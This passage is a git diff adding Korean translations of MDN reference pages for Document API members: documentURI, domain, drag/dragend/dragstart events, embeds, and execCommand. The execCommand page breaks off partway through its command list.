+<p>모든 비어있지 않은 HTML 문서의 <code>documentElement</code>는 항상 {{htmlelement("html")}} 요소를 가리킵니다. 모든 비어있지 않은 XML 문서의 <code>documentElement</code>는 종류불문하고 해당 문서의 루트 요소를 가리킵니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.documentElement")}}</p>
diff --git a/files/ko/web/api/document/documenturi/index.html b/files/ko/web/api/document/documenturi/index.html
new file mode 100644
index 0000000000..51f8d795c8
--- /dev/null
+++ b/files/ko/web/api/document/documenturi/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.documentURI
+slug: Web/API/Document/documentURI
+tags:
+  - URL
+  - documentURI
+translation_of: Web/API/Document/documentURI
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <code><strong>documentURI</strong></code> 속성은 document location 을 string 으로 반환합니다.</p>
+
+<p>DOM3 에서 원래 이 속성은 읽기/쓰기 속성으로 정의되어 있습니다. DOM4 명세에서는 읽기 전용입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>string</var> = document.documentURI;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>HTML documents 는 동일한 값을 반환하는 {{domxref("document.URL")}} 속성을 가집니다. <code>URL </code>과는 달리, <code>documentURI</code> 는 모든 타입의 documents 에서 이용 가능합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-document-documenturi','documentURI')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>DOM3 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>DOM4 behavior</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/document/domain/index.html b/files/ko/web/api/document/domain/index.html
new file mode 100644
index 0000000000..35bed661f7
--- /dev/null
+++ b/files/ko/web/api/document/domain/index.html
@@ -0,0 +1,91 @@
+---
+title: Document.domain
+slug: Web/API/Document/domain
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/domain
+---
+<div>{{ApiRef}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <strong><code>domain</code></strong> 속성은 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>에서 사용하는 현재 문서의 {{glossary("origin", "출처")}}에서 도메인 부분을 설정하거나 가져옵니다.</p>
+
+<p><code>domain</code> 속성을 성공적으로 설정하면 출처의 포트를 {{jsxref("null")}}로 설정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <var>domainString</var> = <var>document</var>.domain
+<var>document</var>.domain = <var>domainString</var></pre>
+
+<h3 id="값">값</h3>
+
+<p>현재 문서 출처의 도메인 부분.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>다음 상황에서 <code>domain</code>을 변경하려 시도한 경우.
+ <ul>
+  <li>샌드박스 설정된 {{htmlelement("iframe")}} 요소에 속한 문서</li>
+  <li>{{glossary("browsing context", "브라우징 맥락")}}이 없는 문서</li>
+  <li>문서의 <a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">유효 도메인</a>이 <code>null</code></li>
+  <li>주어진 값이 문서의 유효 도메인과 같지 않거나, 등록 가능한 도메인 접미사가 아닌 경우</li>
+  <li>{{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}} 헤더가 설정된 경우</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="도메인_가져오기">도메인 가져오기</h3>
+
+<p><code>http://developer.mozilla.org/en-US/docs/Web</code> 주소에서, 다음 코드는 <code>currentDomain</code> 변수에 "<code>developer.mozilla.org</code>"  문자열을 할당합니다.</p>
+
+<pre class="brush:js">const currentDomain = document.domain;</pre>
+
+<h3 id="창_닫기">창 닫기</h3>
+
+<p>어느 문서, 예컨대 <code>www.example.xxx/good.html</code> 등이 <code>www.example.com</code>의 도메인을 가지고 있을 때, 다음 예제는 창을 닫으려 시도합니다.</p>
+
+<pre class="brush:js">const badDomain = "www.example.xxx";
+
+if (document.domain == badDomain) {
+  // 예시에 불과 (window.close()는 아무것도 하지 않을 수도 있음)
+  window.close();
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("api.Document.domain")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a></li>
+</ul>
diff --git a/files/ko/web/api/document/drag_event/index.html b/files/ko/web/api/document/drag_event/index.html
new file mode 100644
index 0000000000..cdf5f4222f
--- /dev/null
+++ b/files/ko/web/api/document/drag_event/index.html
@@ -0,0 +1,183 @@
+---
+title: drag
+slug: Web/API/Document/drag_event
+tags:
+  - API
+  - DOM
+  - Document
+  - Drag
+  - DragEvent
+  - Event
+  - Reference
+  - Web
+  - drag and drop
+translation_of: Web/API/Document/drag_event
+---
+<div>{{APIRef}}</div>
+
+<div></div>
+
+<p><code>drag</code> 이벤트는 사용자가 요소 또는 텍스트를 드래그할 때 수백 밀리초마다 발생합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">이벤트 버블링</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 취소</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">기본 액션</th>
+   <td>드래그 앤 드롭을 계속한다.</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 핸들러 속성</th>
+   <td>{{domxref("GlobalEventHandlers/ondrag", "ondrag")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p><a href="http://jsfiddle.net/zfnj5rv4/">JSFiddle demo</a>에서 이 코드를 보거나 아래에서 상호작용 하십시오.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="dropzone"&gt;
+  &lt;div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"&gt;
+    This div is draggable
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+&lt;div class="dropzone"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#draggable {
+  width: 200px;
+  height: 20px;
+  text-align: center;
+  background: white;
+}
+
+.dropzone {
+  width: 200px;
+  height: 20px;
+  background: blueviolet;
+  margin-bottom: 10px;
+  padding: 10px;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">var dragged;
+
+/* 드래그 가능한 대상에서 이벤트 발생 */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+  // 드래그한 요소에 대한 참조 변수
+  dragged = event.target;
+  // 요소를 반투명하게 함
+  event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+  // 투명도를 리셋
+  event.target.style.opacity = "";
+}, false);
+
+/* 드롭 대상에서 이벤트 발생 */
+document.addEventListener("dragover", function(event) {
+  // 드롭을 허용하도록 prevetDefault() 호출
+  event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+  // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "purple";
+  }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+  // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+  }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+  // 기본 액션을 막음 (링크 열기같은 것들)
+  event.preventDefault();
+  // 드래그한 요소를 드롭 대상으로 이동
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+    dragged.parentNode.removeChild( dragged );
+    event.target.appendChild( dragged );
+  }
+}, false);</pre>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '')}}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하여 pull request를 보내주세요.</div>
+
+<p>{{Compat("api.Document.drag_event")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드롭 이벤트:
+  <ul>
+   <li>{{domxref("Document/dragstart_event", "dragstart")}}</li>
+   <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+   <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+   <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+   <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+   <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+   <li>{{domxref("Document/drop_event", "drop")}}</li>
+  </ul>
+ </li>
+ <li>다른 대상의 <code>drag</code> 이벤트:
+  <ul>
+   <li>{{domxref("Window")}}: {{domxref("Window/drag_event", "drag")}} event</li>
+   <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drag_event", "drag")}} event</li>
+   <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drag_event", "drag")}} event</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html
new file mode 100644
index 0000000000..3849f39274
--- /dev/null
+++ b/files/ko/web/api/document/dragend_event/index.html
@@ -0,0 +1,97 @@
+---
+title: 'Document: dragend event'
+slug: Web/API/Document/dragend_event
+tags:
+  - API
+  - DOM
+  - Document
+  - DragEvent
+  - Event
+  - Reference
+  - Web
+  - drag and drop
+  - dragend
+translation_of: Web/API/Document/dragend_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>dragend</code>는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 <kbd>ESC</kbd> 키를 누른 경우).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">이벤트 버블링</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 취소</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">기본 액션</th>
+   <td>Varies</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 핸들러 속성</th>
+   <td>{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/en-US/docs/Web/API/Document/drag_event">drag</a> 이벤트의 예제 코드나 이 <a class="external external-icon" href="http://jsfiddle.net/zfnj5rv4/" rel="noopener">JSFiddle demo</a>를 참고하세요.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.dragend_event")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드롭 이벤트:
+  <ul>
+   <li>{{domxref("Document/drag_event", "drag")}}</li>
+   <li>{{domxref("Document/dragstart_event", "dragstart")}}</li>
+   <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+   <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+   <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+   <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+   <li>{{domxref("Document/drop_event", "drop")}}</li>
+  </ul>
+ </li>
+ <li>다른 대상의 <code>drag</code> 이벤트:
+  <ul>
+   <li>{{domxref("Window")}}: {{domxref("Window/dragend_event", "dragend")}} event</li>
+   <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragend_event", "dragend")}} event</li>
+   <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragend_event", "dragend")}} event</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html
new file mode 100644
index 0000000000..ab3eb2adf2
--- /dev/null
+++ b/files/ko/web/api/document/dragstart_event/index.html
@@ -0,0 +1,90 @@
+---
+title: dragstart
+slug: Web/API/Document/dragstart_event
+tags:
+  - DOM
+  - Event
+  - Reference
+  - drag and drop
+translation_of: Web/API/Document/dragstart_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>dragstart</code></strong> 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">버블링</th>
+   <td>가능</td>
+  </tr>
+  <tr>
+   <th scope="row">취소</th>
+   <td>가능</td>
+  </tr>
+  <tr>
+   <th scope="row">기본 액션</th>
+   <td>드래그 앤 드랍 작업 초기화.</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("DragEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 처리기 속성</th>
+   <td>{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/Document/drag_event">드래그 이벤트</a>의 예제를 참고하세요.</p>
+
+<p>{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.dragstart_event")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 드래그 앤 드랍 이벤트
+  <ul>
+   <li>{{domxref("Document/drag_event", "drag")}}</li>
+   <li>{{domxref("Document/dragend_event", "dragend")}}</li>
+   <li>{{domxref("Document/dragover_event", "dragover")}}</li>
+   <li>{{domxref("Document/dragenter_event", "dragenter")}}</li>
+   <li>{{domxref("Document/dragleave_event", "dragleave")}}</li>
+   <li>{{domxref("Document/dragexit_event", "dragexit")}}</li>
+   <li>{{domxref("Document/drop_event", "drop")}}</li>
+  </ul>
+ </li>
+ <li>다른 대상의 같은 이벤트
+  <ul>
+   <li>{{domxref("Window")}}: {{domxref("Window/dragstart_event", "dragstart")}} 이벤트</li>
+   <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/dragstart_event", "dragstart")}} 이벤트</li>
+   <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/dragstart_event", "dragstart")}} 이벤트</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..776eccc0e7
--- /dev/null
+++ b/files/ko/web/api/document/embeds/index.html
@@ -0,0 +1,36 @@
+---
+title: Document.embeds
+slug: Web/API/Document/embeds
+tags:
+  - embeds
+translation_of: Web/API/Document/embeds
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">Summary</h3>
+
+<p><code>embeds </code>는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval"><em>nodeList</em> = document.embeds
+</pre>
+
+<h3 id="Specifications" name="Specifications">Specifications</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..47ec3b3de2
--- /dev/null
+++ b/files/ko/web/api/document/execcommand/index.html
@@ -0,0 +1,157 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>HTML 문서가 <code>designMode</code>로 전환되면 문서에서 <code>execCommand</code> 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(<em>볼드, 이탤릭 등</em>)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. <code>contentEditable</code>을 사용할 때에 <code>execCommand()</code>를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>)
+</pre>
+
+<h3 id="반환값">반환값</h3>
+
+<p>명령어가 지원되지 않거나 활성화되어 있지 않으면 <code>false</code> {{jsxref('Boolean')}} 값을 반환합니다.</p>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>aCommandName</code></dt>
+ <dd>실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.</dd>
+ <dt><code>aShowDefaultUI</code></dt>
+ <dd>기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.</dd>
+ <dt><code>aValueArgument</code></dt>
+ <dd>입력 변수가 필요한 명령어(<code>insertImage</code>와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 <code>null</code>을 표기합니다.</dd>
+</dl>
+
+<h3 id="명령어">명령어</h3>
+
+<dl>
+ <dt><code>backColor</code></dt>
+ <dd>문서의 배경색을 변경합니다. <code>styleWithCss</code> 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("&lt;color&gt;")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.</dd>
+ <dt><code>bold</code></dt>
+ <dd>선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.</dd>
+ <dt><code>contentReadOnly</code></dt>
+ <dd>내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>copy</code></dt>
+ <dd>클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd>
+ <dt><code>createLink</code></dt>
+ <dd>선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd>
+ <dt><code>cut</code></dt>
+ <dd>현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd>
+ <dt><code>decreaseFontSize</code></dt>
+ <dd>선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>delete</code></dt>
+ <dd>현재 선택 영역을 지웁니다.</dd>
+ <dt><code>enableInlineTableEditing</code></dt>
+ <dd>표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>enableObjectResizing</code></dt>
+ <dd>이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.</dd>
+ <dt><code>fontName</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(<code>예를 드러 "Arial"</code>)을 넘겨야 합니다.</dd>
+ <dt><code>fontSize</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(<code>1</code>-<code>7</code>)을 넘겨야 합니다.</dd>
+ <dt><code>foreColor</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.</dd>
+ <dt><code>formatBlock</code></dt>
+ <dd>현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그  H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 &lt; &gt;를 써서 "&lt;H1&gt;"와 같이 사용해야 합니다.)</dd>
+ <dt><code>forwardDelete</code></dt>
+ <dd><a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">커서</a> 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.</dd>
+ <dt><code>heading</code></dt>
+ <dd>선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)</dd>
+ <dt><code>hiliteColor</code></dt>
+ <dd>선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>increaseFontSize</code></dt>
+ <dd>선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>indent</code></dt>
+ <dd>선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.</dd>
+ <dt><code>insertBrOnReturn</code></dt>
+ <dd>엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>insertHorizontalRule</code></dt>
+ <dd>입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).</dd>
+ <dt><code>insertHTML</code></dt>
+ <dd>입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>insertImage</code></dt>
+ <dd>입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd>
+ <dt><code>insertOrderedList</code></dt>
+ <dd>선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.</dd>
+ <dt><code>insertUnorderedList</code></dt>
+ <dd>선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.</dd>
+ <dt><code>insertParagraph</code></dt>
+ <dd>선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)</dd>
+ <dt><code>insertText</code></dt>
+ <dd>입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).</dd>
+ <dt><code>italic</code></dt>
+ <dd>선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)</dd>
+ <dt><code>justifyCenter</code></dt>
+ <dd>선택 영역이나 입력 위치를 가운데 정렬합니다.</dd>
+ <dt><code>justifyFull</code></dt>
+ <dd>선택 영역이나 입력 위치를 양쪽 정렬합니다.</dd>
+ <dt><code>justifyLeft</code></dt>
+ <dd>선택 영역이나 입력 위치를 좌측 정렬합니다.</dd>
+ <dt><code>justifyRight</code></dt>
+ <dd>선택 영역이나 입력 위치를 우측 정렬합니다.</dd>
+ <dt><code>outdent</code></dt>
+ <dd>선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.</dd>
+ <dt><code>paste</code></dt>
